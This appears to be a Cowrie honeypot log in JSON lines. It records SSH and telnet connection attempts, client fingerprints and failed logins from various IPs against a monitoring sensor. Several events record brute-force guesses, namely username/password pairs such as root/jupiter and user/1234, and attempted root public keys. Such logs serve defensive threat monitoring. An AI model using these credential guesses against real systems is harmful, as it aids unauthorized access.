{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:fc:cc:42:89:31:fd:23:69:4f:b4:3c:eb:30:d3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyzA/i+G8QvVN6BB9FCR9x/zii7ilVoNDZsYijunrbyz+vaXZOIW9XJLmcsnlaY8v0F5j9EBXgdgKOATR7Q+OgKPliEySGYhm3geuXKyLEAsrO2Ih9CLzztNZ28gGB2kM284weficvC8jcwsvjLaxp03DHaMYMYA36XdhYYcE6VaydZ2nqaCGKjOg4t0wwHwMOAF9lbiODfVaNhY9+fBvsOFEwxC8Soz/CnVA/Hkd0MTeo5WFT55zyVKKTR1WTaumBM+W4a/AZLvaziZ8kwG9FBkidxHI4Dt1AJPSOC4nY4ydnac8men8FhaFhMu830mvJFxFBr0uCQOFc6z1R5c/h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:fc:cc:42:89:31:fd:23:69:4f:b4:3c:eb:30:d3:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.852723Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:fc:cc:42:89:31:fd:23:69:4f:b4:3c:eb:30:d3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyzA/i+G8QvVN6BB9FCR9x/zii7ilVoNDZsYijunrbyz+vaXZOIW9XJLmcsnlaY8v0F5j9EBXgdgKOATR7Q+OgKPliEySGYhm3geuXKyLEAsrO2Ih9CLzztNZ28gGB2kM284weficvC8jcwsvjLaxp03DHaMYMYA36XdhYYcE6VaydZ2nqaCGKjOg4t0wwHwMOAF9lbiODfVaNhY9+fBvsOFEwxC8Soz/CnVA/Hkd0MTeo5WFT55zyVKKTR1WTaumBM+W4a/AZLvaziZ8kwG9FBkidxHI4Dt1AJPSOC4nY4ydnac8men8FhaFhMu830mvJFxFBr0uCQOFc6z1R5c/h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.856896Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:01:9b:a3:5e:7e:48:b6:da:74:1b:93:52:67:99:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYutpCP863EzDVU4293AmXSsb3kbx9w9+1K9vT8/Gd3FsjJCtjstP6Kqpvphxhd0i2frkncOvhHOIt0gpDD7Miqd1nCvOkEjEZRybzxBQdwLesa/nnzeixOWMQGvD4uhU2Va6/kkpoo8hsGSXf2vOV0fP8cGsm3tdUkR6dwzla1pusvacQjvmNsSoOROpLTCYmmuAHhPmCDLyUnf/QuT2MHK9EyyAF9zrngdbjoKth73rBwAhz2xLD7/Dnby/CVEIvCeiyySmInA1vsIlBP8zm0EjnSyddqpkLT6zJQF04qBWigIyrzaTiACAkNHy6/weaE7o6E+MtF6a6MShscWCF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:01:9b:a3:5e:7e:48:b6:da:74:1b:93:52:67:99:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.981218Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:01:9b:a3:5e:7e:48:b6:da:74:1b:93:52:67:99:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYutpCP863EzDVU4293AmXSsb3kbx9w9+1K9vT8/Gd3FsjJCtjstP6Kqpvphxhd0i2frkncOvhHOIt0gpDD7Miqd1nCvOkEjEZRybzxBQdwLesa/nnzeixOWMQGvD4uhU2Va6/kkpoo8hsGSXf2vOV0fP8cGsm3tdUkR6dwzla1pusvacQjvmNsSoOROpLTCYmmuAHhPmCDLyUnf/QuT2MHK9EyyAF9zrngdbjoKth73rBwAhz2xLD7/Dnby/CVEIvCeiyySmInA1vsIlBP8zm0EjnSyddqpkLT6zJQF04qBWigIyrzaTiACAkNHy6/weaE7o6E+MtF6a6MShscWCF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.984932Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:81:5d:0e:bf:8c:25:d9:72:0d:b9:ca:46:7c:3c:42","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANOYE109n3wdZG6WQX4ClgNthFqiUHC5A0DGdMhmN4x9GOvmIrLX9ohl91dZsHz6ZBhIVxUMSLbm5OAY34gQI1AzHKcw27E3a2v1++Od4hT19cRaS6xvs5rhSvAPEdIJhL58hOvGAidwwYc3TL4wEqolFtmoaSE9zKzAzVW9mAUFAAAAFQDNYAqhGHWziEfYQzQHvaMQ5LOtxQAAAIAgTgd/om1en2a+vxwDAnitqwG/ww1S+0qu+WLxd/uuPgg/VBxfIJIjRYoS41whNFOvXV/YzYhhmjs4Ix3YwvCmYChRTiuEQmxwkLmGCCyiyRrpX0C7FxL8r0DL7n4u3so0Ukg6443KL1oH0wn4JtBioKcw24uHWa8Pj/z7z8YBOAAAAIArQIfn+SqBGTKiiZpWAnDOlyf2yPJ8jn5TkK4MS3A65D3juQhuQ6MIkJ+s3bLgX81XV9XvaaS/VENxZvt7tdi/oWD3gl3NhdbSZlYXfdCLbkdezNjmFmZrcWcU1amcxYfLx20q12nGJrsw3e/D7PiRtExcZ1SLthl/dtRVnI8gmA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 68:81:5d:0e:bf:8c:25:d9:72:0d:b9:ca:46:7c:3c:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.110089Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:81:5d:0e:bf:8c:25:d9:72:0d:b9:ca:46:7c:3c:42","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANOYE109n3wdZG6WQX4ClgNthFqiUHC5A0DGdMhmN4x9GOvmIrLX9ohl91dZsHz6ZBhIVxUMSLbm5OAY34gQI1AzHKcw27E3a2v1++Od4hT19cRaS6xvs5rhSvAPEdIJhL58hOvGAidwwYc3TL4wEqolFtmoaSE9zKzAzVW9mAUFAAAAFQDNYAqhGHWziEfYQzQHvaMQ5LOtxQAAAIAgTgd/om1en2a+vxwDAnitqwG/ww1S+0qu+WLxd/uuPgg/VBxfIJIjRYoS41whNFOvXV/YzYhhmjs4Ix3YwvCmYChRTiuEQmxwkLmGCCyiyRrpX0C7FxL8r0DL7n4u3so0Ukg6443KL1oH0wn4JtBioKcw24uHWa8Pj/z7z8YBOAAAAIArQIfn+SqBGTKiiZpWAnDOlyf2yPJ8jn5TkK4MS3A65D3juQhuQ6MIkJ+s3bLgX81XV9XvaaS/VENxZvt7tdi/oWD3gl3NhdbSZlYXfdCLbkdezNjmFmZrcWcU1amcxYfLx20q12nGJrsw3e/D7PiRtExcZ1SLthl/dtRVnI8gmA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.113946Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:86:e9:a3:45:19:af:cd:3c:cb:39:d7:f5:74:3e:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkNGu5IM+kEq6IuOsOvUkuZAAGp2efPk9WfIn89avXDpSWjLc+eiQXvCrnN1dT9N2TLxl8qOfNcNzirqbG2ZB/gSHA8YJDit5nAyf0z9V4u3c4j74UrXq0h3d2x1czX4Sf+fzx5Q9ZgtTh3Sm/2l6SLAD6ip4olxwXw5r5mGpJ5w0E232smB3MaNdyhpuv4NVJu+K3+Ao+l4tyzic/T5DvdQvXCDnqL/a0+oYBcop620v9LFM9kfLquyPkqw9OVNiRc9p9Nsx55sFcWHdhGWrQQhHFMLtbShi/RaOb6cBcp+hRk18fgjJDztCJTMeyAuXq0bkvWeBR+6DyoR4NUDCz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:86:e9:a3:45:19:af:cd:3c:cb:39:d7:f5:74:3e:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.239846Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:86:e9:a3:45:19:af:cd:3c:cb:39:d7:f5:74:3e:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkNGu5IM+kEq6IuOsOvUkuZAAGp2efPk9WfIn89avXDpSWjLc+eiQXvCrnN1dT9N2TLxl8qOfNcNzirqbG2ZB/gSHA8YJDit5nAyf0z9V4u3c4j74UrXq0h3d2x1czX4Sf+fzx5Q9ZgtTh3Sm/2l6SLAD6ip4olxwXw5r5mGpJ5w0E232smB3MaNdyhpuv4NVJu+K3+Ao+l4tyzic/T5DvdQvXCDnqL/a0+oYBcop620v9LFM9kfLquyPkqw9OVNiRc9p9Nsx55sFcWHdhGWrQQhHFMLtbShi/RaOb6cBcp+hRk18fgjJDztCJTMeyAuXq0bkvWeBR+6DyoR4NUDCz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.244073Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:23:9a:c2:cb:f6:bc:d4:20:0e:5c:e0:2e:1e:2f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYQqc73sU31CmFS9cv0bKQPE74gg6PujhXS10Y6/u3zapE3Yf7pH+5LLn+BrXRXjyNcOtJPFdG0JJdl32pLhDXclyeHN/TWTMGAl0oVMuIUFT20+Ry2zpgPFVK80wE3PO2gKz2pPMciV44jeiItwlWsGQSg4MWwetqjWU8CaihPdxFY5QMJ56e+Lmv+dGxA+1YXOrl9/Jks6tluYz11o3e5n0SiChaAdx/UXMdc25Yd/54fDxc4kP0+KYa/wkj5O7+Xn7+SWzJA4KdgwHEFge3TAsVEjrSLXqV+0HeJj9xAn4KrFlZBtQOl89jgM2tv5J3m8DfSq8Jr1MeeD6Co0ApWWmZu+AZOetVHDIvoLYgVWERxql5gJW9mMXrial0x72Ny/yhDc2Vc/Ky93sgZ05hyMw3HzGtZpCmthhZ+a46rrro31S60POcZ4PK8e4JGWjxe5hzyPzSUaSIcwNTG+i/8WjelS5C9QTPvhUOc7HMPLzmvdcdE9gEaPpnn8CNJBM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:23:9a:c2:cb:f6:bc:d4:20:0e:5c:e0:2e:1e:2f:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.373935Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:23:9a:c2:cb:f6:bc:d4:20:0e:5c:e0:2e:1e:2f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYQqc73sU31CmFS9cv0bKQPE74gg6PujhXS10Y6/u3zapE3Yf7pH+5LLn+BrXRXjyNcOtJPFdG0JJdl32pLhDXclyeHN/TWTMGAl0oVMuIUFT20+Ry2zpgPFVK80wE3PO2gKz2pPMciV44jeiItwlWsGQSg4MWwetqjWU8CaihPdxFY5QMJ56e+Lmv+dGxA+1YXOrl9/Jks6tluYz11o3e5n0SiChaAdx/UXMdc25Yd/54fDxc4kP0+KYa/wkj5O7+Xn7+SWzJA4KdgwHEFge3TAsVEjrSLXqV+0HeJj9xAn4KrFlZBtQOl89jgM2tv5J3m8DfSq8Jr1MeeD6Co0ApWWmZu+AZOetVHDIvoLYgVWERxql5gJW9mMXrial0x72Ny/yhDc2Vc/Ky93sgZ05hyMw3HzGtZpCmthhZ+a46rrro31S60POcZ4PK8e4JGWjxe5hzyPzSUaSIcwNTG+i/8WjelS5C9QTPvhUOc7HMPLzmvdcdE9gEaPpnn8CNJBM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.378033Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:22.503053Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":60486,"dst_ip":"10.17.0.5","dst_port":23,"session":"70bd44318a4f","protocol":"telnet","message":"New connection: 142.93.69.27:60486 (10.17.0.5:23) [session: 70bd44318a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:23.775753Z"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8bb435af741","protocol":"ssh","message":"New connection: 130.12.181.85:53956 (159.203.135.109:22) [session: a8bb435af741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:23.983862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:23.989245Z","src_ip":"130.12.181.85","session":"a8bb435af741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.26282787322998047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:24.038450Z","src_ip":"142.93.69.27","session":"70bd44318a4f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:24.092669Z","src_ip":"130.12.181.85","session":"a8bb435af741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":35288,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c79a999278f","protocol":"ssh","message":"New connection: 124.121.31.17:35288 (10.17.0.5:22) [session: 9c79a999278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:25.099147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:25.104440Z","src_ip":"124.121.31.17","session":"9c79a999278f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:25.372267Z","src_ip":"124.121.31.17","session":"9c79a999278f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:25.465260Z","src_ip":"130.12.181.85","session":"a8bb435af741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupiter","message":"login attempt [root/jupiter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:26.475035Z","src_ip":"124.121.31.17","session":"9c79a999278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:27.746857Z","src_ip":"124.121.31.17","session":"9c79a999278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:29.524606Z","src_ip":"130.12.181.85","session":"a8bb435af741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":45114,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4dcf027c1c","protocol":"ssh","message":"New connection: 67.102.183.113:45114 (10.17.0.5:22) [session: bc4dcf027c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:49.027783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:49.031744Z","src_ip":"67.102.183.113","session":"bc4dcf027c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:49.100727Z","src_ip":"67.102.183.113","session":"bc4dcf027c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:49.414427Z","src_ip":"67.102.183.113","session":"bc4dcf027c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:50.487122Z","src_ip":"67.102.183.113","session":"bc4dcf027c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.105","src_port":35623,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0872755032b","protocol":"telnet","message":"New connection: 91.230.168.105:35623 (159.203.135.109:23) [session: e0872755032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:09.528659Z"}
{"eventid":"cowrie.session.closed","duration":0.1228327751159668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:09.651390Z","src_ip":"91.230.168.105","session":"e0872755032b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.110","src_port":46681,"dst_ip":"159.203.135.109","dst_port":23,"session":"481321a5d3c2","protocol":"telnet","message":"New connection: 91.230.168.110:46681 (159.203.135.109:23) [session: 481321a5d3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:09.721391Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":55680,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4f1b2c9571","protocol":"ssh","message":"New connection: 202.29.225.206:55680 (159.203.135.109:22) [session: 3b4f1b2c9571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:16.234233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:16.239327Z","src_ip":"202.29.225.206","session":"3b4f1b2c9571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:16.484893Z","src_ip":"202.29.225.206","session":"3b4f1b2c9571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2014","message":"login attempt [root/Password2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:17.510019Z","src_ip":"202.29.225.206","session":"3b4f1b2c9571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:18.759136Z","src_ip":"202.29.225.206","session":"3b4f1b2c9571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.389727115631104,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:20.111015Z","src_ip":"91.230.168.110","session":"481321a5d3c2","protocol":"telnet"}
